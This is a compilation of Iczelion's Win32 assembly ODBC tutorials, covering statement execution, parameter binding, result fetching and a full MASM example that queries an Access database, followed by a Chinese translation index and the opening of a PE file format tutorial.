  • pStatementText. The pointer to the SQL string you want to execute
  • TextLength. The length of the SQL string.

The possible return values are:

SQL_SUCCESS | The operation is successful.
SQL_SUCCESS_WITH_INFO | The operation is successful and it may encounter a non-fatal error.
SQL_ERROR | The operation failed
SQL_INVALID_HANDLE | The statement handle you gave to the function was invalid
SQL_NEED_DATA | If the SQL statement included one or more parameters and you failed to supply them before execution, you'll get this return value. You then need to submit the parameters via SQLParamData or SQLPutData.
SQL_NO_DATA | If your SQL statement doesn't return a result set, ie. it's just an action query, you get this value so you know that the action completed successfully but no result set is returned.
SQL_STILL_EXECUTING | If you execute the statement asynchronously, SQLExecDirect returns immediately with this value, indicating that the statement is being processed. By default, ODBC drivers operate in synchronous mode which is good if you use a multithreading OS. If you want to execute asynchronously, you can set the statement attribute with SQLSetStmtAttr.

Example:

.data
SQLStmt db "select * from Sales",0

.data?
hStmt dd ?

.code
.....
 invoke SQLAllocHandle, SQL_HANDLE_STMT, hConn, addr hStmt
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SQLExecDirect, hStmt, addr SQLStmt, sizeof SQLStmt

Prepared Execution

The process of executing an SQL statement is divided into two distince phases. In the first phase, you must *prepare* the statement by calling SQLPrepare. Next, you call SQLExecute to actually run the statement. With prepared execution, you can call SQLExecute on the same SQL statement any number of times. Combined with using SQL parameters, this method is very effective for running the same SQL statement over and over again.

SQLPrepare takes the same three parameters as SQLExecDirect so I won't show its definition here. SQLExecute has the following syntax:

SQLExecute proto StatementHandle:DWORD

With only one parameter, I don't think it needs explanation ;)

Example:

.data
SQLStmt db "select * from Sales",0

.data?
hStmt dd ?

.code
.....
 invoke SQLAllocHandle, SQL_HANDLE_STMT, hConn, addr hStmt
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SQLPrepare, hStmt, addr SQLStmt, sizeof SQLStmt
invoke SQLExecute, hStmt

You may wonder what the advantage of prepared execution over direct execution is. From the above examples, it's not apparent. We need to know about statement parameters to be able to appreciate it fully.

Statement Parameters

Parameters, as mentioned here, are variables that are used by SQL statements. For example, if we have a table named "employee" that has three fields, "name", "surname", and "TelephoneNo" and we need to find the telephone no. of an employee named "Bob", we can use the following SQL statement:

select telephoneNo from employee where name='Bob'

This SQL statement works the way we want but what if you want to find the telephone no. of another employee? If you don't use a parameter, you don't have any choice but to construct a new SQL string and compile/run it again.

Now let's say we can't tolerate this inefficiency anymore. We can use a parameter to our advantage. In our example above, we must replace the string/value with ? (called parameter marker). The SQL string will be:

select telephoneNo from employee where name=?

Think a bit about this: How can the ODBC driver know what value it should put in place of the parameter marker? The answer: we must supply it with the desired value. The method is called parameter binding. Simply, it's the process of associating a parameter marker to a variable in your application. In the above example, we need to create a string buffer and then tell the ODBC driver that when it needs the actual value of a parameter, it should obtain the value from the string buffer we provided. Once a parameter is bound to a variable, it remains bound to that variable until it's bound to a different variable, or until all parameters are unbound by calling SQLFreeStmt with SQL_RESET_PARAMS or until the statement is released.

You bind a parameter to a variable by calling SQLBindParameter which has the following syntax:

  • SQLBindParameter proto StatementHandle:DWORD,
                                             ParameterNumber:DWORD,
                                             InputOutputType:DWORD,
                                             ValueType:DWORD,
                                             ParameterType:DWORD,
                                             ColumnSize:DWORD,
                                             DecimalDigits:DWORD,
                                             ParameterValuePtr:DWORD,
                                             BufferLength:DWORD,
                                             pStrLenOrIndPtr:DWORD
  • StatementHandle The handle of the statement.
  • ParameterNumber The parameter number, starting from 1. This is the way ODBC uses to identify the parameter markers. If there are three parameters, the leftmost one is parameter no.1 and the rightmost is parameter no.3
  • InputOutputType A flag to specify whether this parameter is for input or output. Input here means the ODBC driver grabs the value in the parameter for its own use while Output means the ODBC driver will place the result in the parameter when the operation was done. Most of the time, we use parameter for input. Output parameter is usually associated with stored procedures. Two possible values are: SQL_PARAM_INPUT, SQL_PARAM_INPUT_OUTPUT and SQL_PARAM_OUTPUT
  • ValueType Specify the type of the variable or buffer in your application, that you want to bind to the parameter. There is a list of constants for the available types. Their names begin with SQL_C_
  • ParameterType Specify the SQL type of the parameter. For example, if the SQL parameter is a text field, you must put the value SQL_CHAR here. You need to look up the complete list from ODBC Programmer's reference on MSDN.
  • ColumnSize The size of the parameter or you can think of this field as the size of the column (field) associated with the parameter marker. In our example, our parameter marker is used as a criteria on the column "name". If that column is defined as 20 bytes in size, you should pass 20 in ColumnSize.
  • DecimalDigits The number of decimal places of the column associated with the parameter marker.
  • ParameterValuePtr A pointer to a buffer for the parameter's data.
  • BufferLength The size of the buffer pointed to by ParameterValuePtr.
  • pStrLenOrIndPtr This is a pointer to a dword variable that contains one of the following values:
    • The length of the parameter value stored in the buffer pointed to by ParameterValuePtr. This value is ignored unless the parameter type is a text string or binary. Don't confuse this with BufferLength. An example would make it clear. Suppose the parameter is a text string. The column is 20 bytes wide. So you allocate a 21-byte buffer and pass its address to ParameterValuePtr. Just before calling SQLExecute, you put the string "Bob" into the buffer. This string is 3 bytes long thus you need to put the value 3 in the variable pointed to by pStrLenOrIndPtr.
    • SQL_NTS. The parameter value is a null-terminated string.
    • SQL_NULL_DATA. The parameter value is NULL.
    • SQL_DEFAULT_PARAM. A procedure is to use the default value of a parameter, rather than a value retrieved from the application. This is applicable only to stored prcoedures which have default parameter values defined.
    • SQL_DATA_AT_EXEC. The data for the parameter will be sent with SQLPutData. Since the data may be too large to hold in memory such as the data in a whole file, you tell the ODBC driver that you will send the data to it via SQLPutData instead.

      So many possible values for pStrLenOrIndPtr, you would surely say. But mostly, we will use only the first or third option

Example:

.data
SQLString db "select telephoneNo from employee where name=?",0
Sample1 db "Bob",0
Sample2 db "Mary",0

.data?
buffer db 21 dup(?)
StrLen dd ?

.code
........
invoke SQLPrepare, hStmt, addr SQLString,sizeof SQLString
invoke SQLBindParameter, hStmt, 1, SQL_PARAM_INPUT, SQL_C_CHAR, SQL_CHAR, 20, 0, addr buffer, sizeof buffer, addr StrLen
;===========================================
; First run
;===========================================
invoke lstrcpy, addr buffer, addr Sample1
mov StrLen, sizeof Sample1
invoke SQLExecute, hStmt
;===========================================
; Second run
;===========================================
invoke lstrcpy, addr buffer, addr Sample2
mov StrLen, sizeof Sample2
invoke SQLExecute, hStmt

Note that we bind the parameter to a buffer only once and then we modify the content of the buffer and call SQLExecute several times. No need to call SQLPrepare again. The ODBC driver knows where to find the parameter value it needs because we "told" it by calling SQLBindParameter.

We will ignore the records returned by the query for now. Accessing and using the result set is the subject of the future tutorials.

Supposed that you're done with a particular SQL statement and you want to execute a new statement, you need not allocate a new statement handle. You should unbind the parameters (if any) by calling SQLFreeStmt with SQL_UNBIND and SQL_RESET_PARAMS. Then you can "reuse" the statement handle for the next SQL statement.

Freeing the statement

It's done by calling SQLFreeHandle.

[Iczelion's Win32 Assembly Homepage]


ODBC Programming Tutorial: Retrieving Results

Retrieving Results

In this tutorial, you will learn how to retrieve the records returned by executing an SQL statement.

We call a group of records returned by a query a result set (or recordset for those who are familiar with VB). The general steps in retrieving a result set are as follows:

  1. Determine whether a result set is available.
  2. Bind the columns of the result set to appropriate variables
  3. Fetching a row

When you're done with the result set, you need to destroy it by calling SQLCloseCursor.

Determine whether a result set is available

Sometimes you already know whether a result set will be created by examination of the SQL statement. If the SQL statement is not of a type that returns a result set, you know that no result set will be available. However, sometimes you don't even know of what type the SQL statement is, such is the case when you let the user enters custom SQL statements. In that case, you must check whether a result set was created by calling SQLNumResultCols. This function returns the number of columns (fields) in the result set (if one exists) and has the following syntax:

SQLNumResultCols proto StatementHandle:DWORD, pNumCols:DWORD
  • StatementHandle The handle to the statement
  • pNumCols A pointer to a dword variable that will receive the number of columns in the result set.

If the value in the variable pointed to by pNumCols is 0, there is no result set.

Bind the columns

In this regard, the concept is identical to that of binding a variable to a parameter of an SQL statement. You associate (bind) a variable to a specific column in the result set. The function in this case is SQLBindCol which has the following syntax:

SQLBindCol proto StatementHandle:DWORD,
                            ColumnNumber:DWORD,
                            TargetType:DWORD,
                            TargetValuePtr:DWORD,
                            BufferLength:DWORD,
                            pStrLenOrIndPtr:DWORD
  • StatementHandle The handle to the statement
  • ColumnNumber Number of the column in the result set to bind. The column number starts from 1. Column 0 is the bookmark column.
  • TargetType The constant that indicates the type of the variable (buffer) pointed to by TargetValuePtr.
  • TargetValuePtr A pointer to the variable or buffer that will be bound to the column. When you call SQLFetch to retrieve a row from the result set, the variable or buffer will be filled with the value in the associated column.
  • BufferLength The size of the buffer pointed to by TargetValuePtr.
  • pStrLenOrIndPtr Look up the detail in SQLBindParameter

Example:

.data?
buffer db 21 dup(?)
DataLength dd ? ; will be filled with the length of the string in buffer after SQLFetch is called.

.code
.....
invoke SQLBindCol, hStmt, 1, SQL_C_CHAR, addr buffer, 21, addr DataLength

Fetching a row

It's quite simple. Calling SQLFetch retrieves a row from the result set into the bound variables. After SQLFetch is called, the cursor is updated. You can think of a cursor as the record pointer. It indicates what row will be returned when SQLFetch is called. For example, if the result set has 4 rows, the cursor is positioned at the first row when the result set was created. When SQLFetch is called, the cursor advances by 1 row. So if you call SQLFetch 4 times, there is no more row to fetch. The cursor is said to point to the end of file (EOF). SQLFetch has the following syntax:

SQLFetch proto StatementHandle:DWORD

This function returns SQL_NO_DATA when no more row is available.

Example:

.data?
buffer db 21 dup(?)
DataLength dd ?

.code
.....
invoke SQLBindCol, hStmt, 1, SQL_C_CHAR, addr buffer, 21, addr DataLength
invoke SQLFetch, hStmt

[Iczelion's Win32 Assembly Homepage]


ODBC Programming Tutorial: An ODBC Example

An ODBC Example

In this tutorial, we will put everything we have learned so far together. Specifically, we will code a program that makes use of ODBC APIs. For simplicity, I choose Microsoft Access database (Microsoft Access 97) for this program.

Download the example.

Note: If you use windows.inc version 1.18 or below, you have to fix a small bug before you can assemble the example. Search windows.inc for "SQL_NULL_HANDLE". You'll find the line:

SQL_NULL_HANDLE equ 0L

Delete the "L" following 0, like this:

SQL_NULL_HANDLE equ 0

This program is a dialog-based one with a simple menu. When the user selects "connect", it tries to connect to test.mdb, our database. After the connection was successful, it displays the final complete connection string returned by the ODBC driver. After that, the user can select "View All Records", to populate the listview control with all data in the database. Alternatively, the user can select "Query" to search for a specific record. The program will present a small dialog box prompting the user to type the name of the person he wants to search. When the user presses OK button or just kits the return key, the program runs a query to select the record(s) that match(es) the name. When the user is done, he can select "disconnect" to disconnect from the database.

Now let's see the source code:

.386
.model flat,stdcall
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\odbc32.inc
include \masm32\include\comctl32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\odbc32.lib
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

IDD_MAINDLG                     equ 101
IDR_MAINMENU                   equ  102
IDC_DATALIST                   equ  1000
IDM_CONNECT                     equ 40001
IDM_DISCONNECT                 equ 40002
IDM_QUERY                       equ 40003
IDC_NAME                        equ 1000
IDC_OK                          equ 1001
IDC_CANCEL                     equ 1002
IDM_CUSTOMQUERY                 equ 40004
IDD_QUERYDLG                    equ 102

DlgProc proto hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
QueryProc proto hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
SwitchMenuState proto :DWORD
ODBCConnect proto :DWORD
ODBCDisconnect proto :DWORD
RunQuery proto :DWORD

.data?
hInstance dd ?
hEnv dd ?
hConn dd ?
hStmt dd ?
Conn db 256 dup(?)
StrLen dd ?
hMenu dd ?	; handle to the main menu
hList dd ?		; handle to the listview control
TheName db 26 dup(?)
TheSurname db 26 dup(?)
TelNo db 21 dup(?)
NameLength dd ?
SurnameLength dd ?
TelNoLength dd ?
SearchName db 26 dup(?)
ProgPath db 256 dup(?)
ConnectString db 1024 dup(?)

.data
SQLStatement db "select * from main",0
WhereStatement db " where name=?",0
strConnect db  "DRIVER={Microsoft Access Driver (*.mdb)};DBQ=",0
DBName db "test.mdb",0
ConnectCaption db "Complete Connection String",0
Disconnect db "Disconnect successful",0
AppName db "ODBC Test",0
AllocEnvFail db "Environment handle allocation failed",0
AllocConnFail db "Connection handle allocation failed",0
SetAttrFail db "Cannot set desired ODBC version",0
NoData db "You must type the name in the edit box",0
ExecuteFail db "Execution of SQL statement failed",0
ConnFail db "Connection attempt failed",0
AllocStmtFail db "Statement handle allocation failed",0
Heading1 db "Name",0
Heading2 db "Surname",0
Heading3 db "Telephone No.",0

.code
start:
    invoke GetModuleHandle, NULL
    mov hInstance,eax
    call GetProgramPath
    invoke DialogBoxParam, hInstance, IDD_MAINDLG,0,addr DlgProc,0
    invoke ExitProcess,eax
    invoke InitCommonControls
DlgProc proc hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    .if uMsg==WM_INITDIALOG
        invoke GetMenu, hDlg
        mov hMenu,eax
        invoke GetDlgItem, hDlg, IDC_DATALIST
        mov hList,eax
        call InsertColumn
    .elseif uMsg==WM_CLOSE
        invoke GetMenuState, hMenu, IDM_CONNECT,MF_BYCOMMAND
        .if eax==MF_GRAYED
            invoke ODBCDisconnect, hDlg
        .endif
        invoke EndDialog,hDlg, 0
    .elseif uMsg==WM_COMMAND
        .if lParam==0
            mov eax,wParam
            .if ax==IDM_CONNECT
                invoke ODBCConnect,hDlg
            .elseif ax==IDM_DISCONNECT
                invoke ODBCDisconnect,hDlg
            .elseif ax==IDM_QUERY
                invoke RunQuery,hDlg
            .elseif ax==IDM_CUSTOMQUERY
                invoke DialogBoxParam, hInstance, IDD_QUERYDLG,hDlg, addr QueryProc, 0
            .endif
        .endif
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
DlgProc endp

GetProgramPath proc
    invoke GetModuleFileName, NULL,addr ProgPath,sizeof ProgPath
    std
    mov edi,offset ProgPath
    add edi,sizeof ProgPath-1
    mov al,"\"
    mov ecx,sizeof ProgPath
    repne scasb
    cld
    mov byte ptr [edi+2],0
    ret
GetProgramPath endp

SwitchMenuState proc Flag:DWORD
    .if Flag==TRUE
        invoke EnableMenuItem, hMenu, IDM_CONNECT, MF_GRAYED
        invoke EnableMenuItem, hMenu, IDM_DISCONNECT, MF_ENABLED
        invoke EnableMenuItem, hMenu, IDM_QUERY, MF_ENABLED
        invoke EnableMenuItem, hMenu, IDM_CUSTOMQUERY, MF_ENABLED
    .else
        invoke EnableMenuItem, hMenu, IDM_CONNECT, MF_ENABLED
        invoke EnableMenuItem, hMenu, IDM_DISCONNECT, MF_GRAYED
        invoke EnableMenuItem, hMenu, IDM_QUERY, MF_GRAYED
        invoke EnableMenuItem, hMenu, IDM_CUSTOMQUERY, MF_GRAYED
    .endif
    ret
SwitchMenuState endp

ODBCConnect proc hDlg:DWORD
    invoke SQLAllocHandle, SQL_HANDLE_ENV, SQL_NULL_HANDLE, addr hEnv
    .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
        invoke SQLSetEnvAttr, hEnv,SQL_ATTR_ODBC_VERSION, SQL_OV_ODBC3,0
        .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
            invoke SQLAllocHandle, SQL_HANDLE_DBC, hEnv, addr hConn
            .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
                invoke lstrcpy,addr ConnectString,addr strConnect
                invoke lstrcat,addr ConnectString, addr ProgPath
                invoke lstrcat, addr ConnectString,addr DBName
                invoke SQLDriverConnect, hConn, hDlg, addr ConnectString, sizeof ConnectString, addr Conn, sizeof Conn,addr StrLen, SQL_DRIVER_COMPLETE
                .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
                    invoke SwitchMenuState,TRUE
                    invoke MessageBox,hDlg, addr Conn,addr ConnectCaption,MB_OK+MB_ICONINFORMATION
                .else
                    invoke SQLFreeHandle, SQL_HANDLE_DBC, hConn
                    invoke SQLFreeHandle, SQL_HANDLE_ENV, hEnv
                    invoke MessageBox, hDlg, addr ConnFail, addr AppName, MB_OK+MB_ICONERROR
                .endif
            .else
                invoke SQLFreeHandle, SQL_HANDLE_ENV, hEnv
                invoke MessageBox, hDlg, addr AllocConnFail, addr AppName, MB_OK+MB_ICONERROR
            .endif
        .else
            invoke SQLFreeHandle, SQL_HANDLE_ENV, hEnv
            invoke MessageBox, hDlg, addr SetAttrFail, addr AppName, MB_OK+MB_ICONERROR
        .endif
    .else
        invoke MessageBox, hDlg, addr AllocEnvFail, addr AppName, MB_OK+MB_ICONERROR
    .endif
    ret
ODBCConnect endp

ODBCDisconnect proc hDlg:DWORD
    invoke SQLDisconnect, hConn
    invoke SQLFreeHandle, SQL_HANDLE_DBC, hConn
    invoke SQLFreeHandle, SQL_HANDLE_ENV, hEnv
    invoke SwitchMenuState, FALSE
    invoke ShowWindow,hList, SW_HIDE
    invoke MessageBox,hDlg,addr Disconnect, addr AppName,MB_OK+MB_ICONINFORMATION
    ret
ODBCDisconnect endp

InsertColumn proc
    LOCAL lvc:LV_COLUMN
    mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
    mov lvc.pszText,offset Heading1
    mov lvc.lx,150
    invoke SendMessage,hList, LVM_INSERTCOLUMN,0,addr lvc
    mov lvc.pszText,offset Heading2
    invoke SendMessage,hList, LVM_INSERTCOLUMN, 1 ,addr lvc
    mov lvc.pszText,offset Heading3
    invoke SendMessage,hList, LVM_INSERTCOLUMN, 3 ,addr lvc
    ret
InsertColumn endp

FillData proc
    LOCAL lvi:LV_ITEM
    LOCAL row:DWORD

    invoke SQLBindCol, hStmt,1,SQL_C_CHAR, addr TheName, sizeof TheName,addr NameLength
    invoke SQLBindCol, hStmt,2,SQL_C_CHAR, addr TheSurname, sizeof TheSurname,addr SurnameLength
    invoke SQLBindCol, hStmt,3,SQL_C_CHAR, addr TelNo, sizeof TelNo,addr TelNoLength
    mov row,0
    .while TRUE
        mov byte ptr ds:[TheName],0
        mov byte ptr ds:[TheSurname],0
        mov byte ptr ds:[TelNo],0
        invoke SQLFetch, hStmt
        .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
            mov lvi.imask,LVIF_TEXT+LVIF_PARAM
            push row
            pop lvi.iItem
            mov lvi.iSubItem,0
            mov lvi.pszText, offset TheName
            push row
            pop lvi.lParam
            invoke SendMessage,hList, LVM_INSERTITEM,0, addr lvi
            mov lvi.imask,LVIF_TEXT
            inc lvi.iSubItem
            mov lvi.pszText,offset TheSurname
            invoke SendMessage,hList,LVM_SETITEM, 0,addr lvi
            inc lvi.iSubItem
            mov lvi.pszText,offset TelNo
            invoke SendMessage,hList,LVM_SETITEM, 0,addr lvi
            inc row
        .else
            .break
        .endif
    .endw
    ret
FillData endp

RunQuery proc hDlg:DWORD
    invoke ShowWindow, hList, SW_SHOW
    invoke SendMessage, hList, LVM_DELETEALLITEMS,0,0
    invoke SQLAllocHandle, SQL_HANDLE_STMT, hConn, addr hStmt
    .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
        invoke SQLExecDirect, hStmt, addr SQLStatement, sizeof SQLStatement
        .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
            invoke FillData
        .else
            invoke ShowWindow, hList, SW_HIDE
            invoke MessageBox,hDlg,addr ExecuteFail, addr AppName, MB_OK+MB_ICONERROR
        .endif
        invoke SQLCloseCursor, hStmt
        invoke SQLFreeHandle, SQL_HANDLE_STMT, hStmt
    .else
        invoke ShowWindow, hList, SW_HIDE
        invoke MessageBox,hDlg,addr AllocStmtFail, addr AppName, MB_OK+MB_ICONERROR
    .endif
    ret
RunQuery endp
QueryProc proc hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    .if uMsg==WM_CLOSE
        invoke SQLFreeHandle, SQL_HANDLE_STMT, hStmt
        invoke EndDialog, hDlg,0
    .elseif uMsg==WM_INITDIALOG
        invoke ShowWindow, hList, SW_SHOW
        invoke SQLAllocHandle, SQL_HANDLE_STMT, hConn, addr hStmt
        .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
            invoke lstrcpy, addr Conn, addr SQLStatement
            invoke lstrcat, addr Conn, addr WhereStatement
            invoke SQLBindParameter,hStmt, 1, SQL_PARAM_INPUT, SQL_C_CHAR, SQL_CHAR,25,0, addr SearchName,25,addr StrLen
            invoke SQLPrepare, hStmt, addr Conn, sizeof Conn
        .else
            invoke ShowWindow, hList, SW_HIDE
            invoke MessageBox,hDlg,addr AllocStmtFail, addr AppName, MB_OK+MB_ICONERROR
            invoke EndDialog, hDlg,0
        .endif
    .elseif uMsg==WM_COMMAND
        mov eax, wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDC_OK
                invoke GetDlgItemText, hDlg, IDC_NAME, addr SearchName, 25
                .if ax==0
                    invoke MessageBox, hDlg,addr NoData, addr AppName, MB_OK+MB_ICONERROR
                    invoke GetDlgItem, hDlg, IDC_NAME
                    invoke SetFocus, eax
                .else
                    invoke lstrlen,addr SearchName
                    mov StrLen,eax
                    invoke SendMessage, hList, LVM_DELETEALLITEMS,0,0
                    invoke SQLExecute, hStmt
                    invoke FillData
                    invoke SQLCloseCursor, hStmt
                .endif
            .else
                invoke SQLFreeHandle, SQL_HANDLE_STMT, hStmt
                invoke EndDialog, hDlg,0
            .endif
        .endif
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
QueryProc endp
end start

Analysis

start:
    invoke GetModuleHandle, NULL
    mov hInstance,eax
    call GetProgramPath

When the program starts, it obtains the instance handle and then finds out its own path. The assumption is that the database, test.mdb, would be in the same folder as the program.

GetProgramPath proc
    invoke GetModuleFileName, NULL,addr ProgPath,sizeof ProgPath
    std
    mov edi,offset ProgPath
    add edi,sizeof ProgPath-1
    mov al,"\"
    mov ecx,sizeof ProgPath
    repne scasb
    cld
    mov byte ptr [edi+2],0
    ret
GetProgramPath endp

GetProgramPath calls GetModuleFileName to obtain the full pathname of the program. After that, it searchs for the last "\" in the pathname so that it can "truncate" the filename from the path by replacing the first character of the filename with 0. Thus we got the path of the program in ProgPath.

The program then displays the main dialog box with DialogBoxParam. The first time the main dialog box is loaded, it obtains the menu handle and the handle to the listview control. It next inserts three columns into the listview control (because we know beforehand that the result set consists of three columns. After all we are the one who created the table in the first place.)

After that, it waits for the user's action. If the user selects "connect" from the menu, it calls ODBCConnect function.

ODBCConnect proc hDlg:DWORD
    invoke SQLAllocHandle, SQL_HANDLE_ENV, SQL_NULL_HANDLE, addr hEnv
    .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

The first thing it does is to allocate an environment handle with SQLAllocHandle.

        invoke SQLSetEnvAttr, hEnv,SQL_ATTR_ODBC_VERSION, SQL_OV_ODBC3,0
        .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

After it obtained the environment handle, it specifies that it wants to use ODBC 3.x syntax by calling SQLSetEnvAttr.

            invoke SQLAllocHandle, SQL_HANDLE_DBC, hEnv, addr hConn
            .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

If all goes well, it can begin the connection attempt by allocating a connection handle with SQLAllocHandle.

                invoke lstrcpy,addr ConnectString,addr strConnect
                invoke lstrcat,addr ConnectString, addr ProgPath
                invoke lstrcat, addr ConnectString,addr DBName

Construct the connection string. The final connection string we will use is in ConnectionString

                invoke SQLDriverConnect, hConn, hDlg, addr ConnectString, sizeof ConnectString, addr Conn, sizeof Conn,addr StrLen, SQL_DRIVER_COMPLETE
                .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
                    invoke SwitchMenuState,TRUE
                    invoke MessageBox,hDlg, addr Conn,addr ConnectCaption,MB_OK+MB_ICONINFORMATION

When the connection string is ready, it calls SQLDriverConnect to attempt to connect to test.mdb with MS Access ODBC driver. If test.mdb is not found, the ODBC driver will prompt the user for its location because we specify SQL_DRIVER_COMPLETE flag. When SQLDriverConnect returned successfully, Conn is filled with the complete connection string constructed by the ODBC driver. We display that string to the user with a message box. SwitchMenuState is a simple function that enables/grays out the appropriate menu items.

Right now, the connection to the database is open until the user chooses to close it.

When the user selects "View All Records", the dialog box procedure calls RunQuery.

RunQuery proc hDlg:DWORD
    invoke ShowWindow, hList, SW_SHOW
    invoke SendMessage, hList, LVM_DELETEALLITEMS,0,0

Since the listview control is created hidden, it's now the time to show it. Also we need to delete all items (if any) from the listview control.

    invoke SQLAllocHandle, SQL_HANDLE_STMT, hConn, addr hStmt
    .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

Next, the program allocates a statement handle.

        invoke SQLExecDirect, hStmt, addr SQLStatement, sizeof SQLStatement
        .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

Execute the premade SQL statement with SQLExecDirect. I choose to use SQLExecDirect here because thiis SQL statement is usually called only once.

            invoke FillData

After executing the SQL statement, a result set should be returned. We extract the data in the result set into the listview control in FillData function.

FillData proc
    LOCAL lvi:LV_ITEM
    LOCAL row:DWORD

    invoke SQLBindCol, hStmt,1,SQL_C_CHAR, addr TheName, sizeof TheName,addr NameLength
    invoke SQLBindCol, hStmt,2,SQL_C_CHAR, addr TheSurname, sizeof TheSurname,addr SurnameLength
    invoke SQLBindCol, hStmt,3,SQL_C_CHAR, addr TelNo, sizeof TelNo,addr TelNoLength

Here, the result set is returned. We need to bind all three columns of the result set to the buffers we provided. We call SQLBindCol to do that. Note that we need a separate call for each column. And we need not bind ALL columns: only the columns we need to obtain the data from.

    mov row,0
    .while TRUE
        mov byte ptr ds:[TheName],0
        mov byte ptr ds:[TheSurname],0
        mov byte ptr ds:[TelNo],0

We initialize the buffers to NULLs in case there is no data in the column(s). The better way is to use the length of data returned in the variables you specified in SQLBindCol. In our example, we could check the values in NameLength, SurnameLength and TelNoLength for the actual length of the strings returned.

        invoke SQLFetch, hStmt
        .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
            mov lvi.imask,LVIF_TEXT+LVIF_PARAM
            push row
            pop lvi.iItem
            mov lvi.iSubItem,0
            mov lvi.pszText, offset TheName
            push row
            pop lvi.lParam
            invoke SendMessage,hList, LVM_INSERTITEM,0, addr lvi

The rest is simple. Call SQLFetch to retrieve a row from the result set and then store the values in the buffers into the listview control. When no more row is available (we have reached the end of file), SQLFetch returns SQL_NO_DATA and we exit the infinite loop.

        invoke SQLCloseCursor, hStmt
        invoke SQLFreeHandle, SQL_HANDLE_STMT, hStmt

When we are done with the result set, we must close it with SQLCloseCursor and then free the statement handle with SQLFreeHandle.

When the user selects "Query" menu item, the program displays another dialog box prompting the user for the name to search for.

    .elseif uMsg==WM_INITDIALOG
        invoke ShowWindow, hList, SW_SHOW
        invoke SQLAllocHandle, SQL_HANDLE_STMT, hConn, addr hStmt
        .if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
            invoke lstrcpy, addr Conn, addr SQLStatement
            invoke lstrcat, addr Conn, addr WhereStatement
            invoke SQLBindParameter,hStmt, 1, SQL_PARAM_INPUT, SQL_C_CHAR, SQL_CHAR,25,0, addr SearchName,25,addr StrLen
            invoke SQLPrepare, hStmt, addr Conn, sizeof Conn

The first thing the dialog box does is to show the listview control. It then allocates a statement handle, create an SQL statement. This SQL statement has the "where" clause with a parameter marker,?. The full SQL statement is:

select * from main where name=?

Next, it calls SQLBindParameter to associate the parameter marker with the buffer, SearchName, so that when the SQL statement is executed, the ODBC driver can obtain the string it needs to use from SearchName. Afer that, it calls SQLPrepare to compile the SQL statement. The rationale is that, you prepare/compile the SQL statement only once and then you execute it many times. Since the SQL statement was compiled, the subsequent execution is faster.

            .if ax==IDC_OK
                invoke GetDlgItemText, hDlg, IDC_NAME, addr SearchName, 25
                .if ax==0
                    invoke MessageBox, hDlg,addr NoData, addr AppName, MB_OK+MB_ICONERROR
                    invoke GetDlgItem, hDlg, IDC_NAME
                    invoke SetFocus, eax
                .else

When the user typed some name in the edit control and pressed return key, the program retrieves the text from the edit control and checks if it's a NULL string. If so, it displays a message box and sets the keyboard focus to the edit control to prompt the user for a name.

                    invoke lstrlen,addr SearchName
                    mov StrLen,eax
                    invoke SendMessage, hList, LVM_DELETEALLITEMS,0,0
                    invoke SQLExecute, hStmt
                    invoke FillData
                    invoke SQLCloseCursor, hStmt

If a name is typed into the edit control, we find out its length and store the value into StrLen for use by ODBC driver (remember that we passed the address of StrLen to SQLBindParameter). Then it calls SQLExecute on the statement handle to execute the prepared SQL statement. When SQLExecute returns, it calls FillData to display the result in the listview control. Since we have no use for the result set anymore, we close it by calling SQLCloseCursor.

[Iczelion's Win32 Assembly Homepage]


Iczelion's ODBC Programming Tutorial:Index(Chinese portion)

Iczelion的ODBC汇编教程:中文版

翻译:Orochi 2000.8

    英文版本:
  • Tutorial1:Basics
  • Tutorial2:Connecting to Data Source
  • Tutorial3:Preparing and Using Statements
  • Tutorial4:Retrieving Results
  • Tutorial5:An ODBC Example

    中文版本:
  • 教程一:基础
  • 教程二:连接数据源
  • 教程三:准备与使用语句
  • 教程四:获得结果
  • 教程五:一个例子

声明: 本文档集是Iczelion的ODBC汇编语言教程(Iczelion's ODBC Progrsmming Tutorial)的中文版本,由Orochi翻译.Iczelion保有英文版本的一切权利.Orochi保有对这个版本的解释、修改的权利。中文版本欢迎转载，但请保持引文完整性并注明来源。中文版本仅做教学之用，并仅在因特网上传播。本教程首次发表于罗云彬的汇编语言编程乐园.

英文原始版本存于:Iczelion's Win32 Assembly Homepage 中文版本现存于:罗云彬的汇编语言编程乐园

Orochi, 2000.8


Iczelion's PE Tutorial 1: Overview of PE File Format

Tutorial 1: Overview of PE file format

This is the complete rewrite of the old PE tutorial no1 which I considered the worst tutorial I have ever written. So I decided to replace it with this new one.

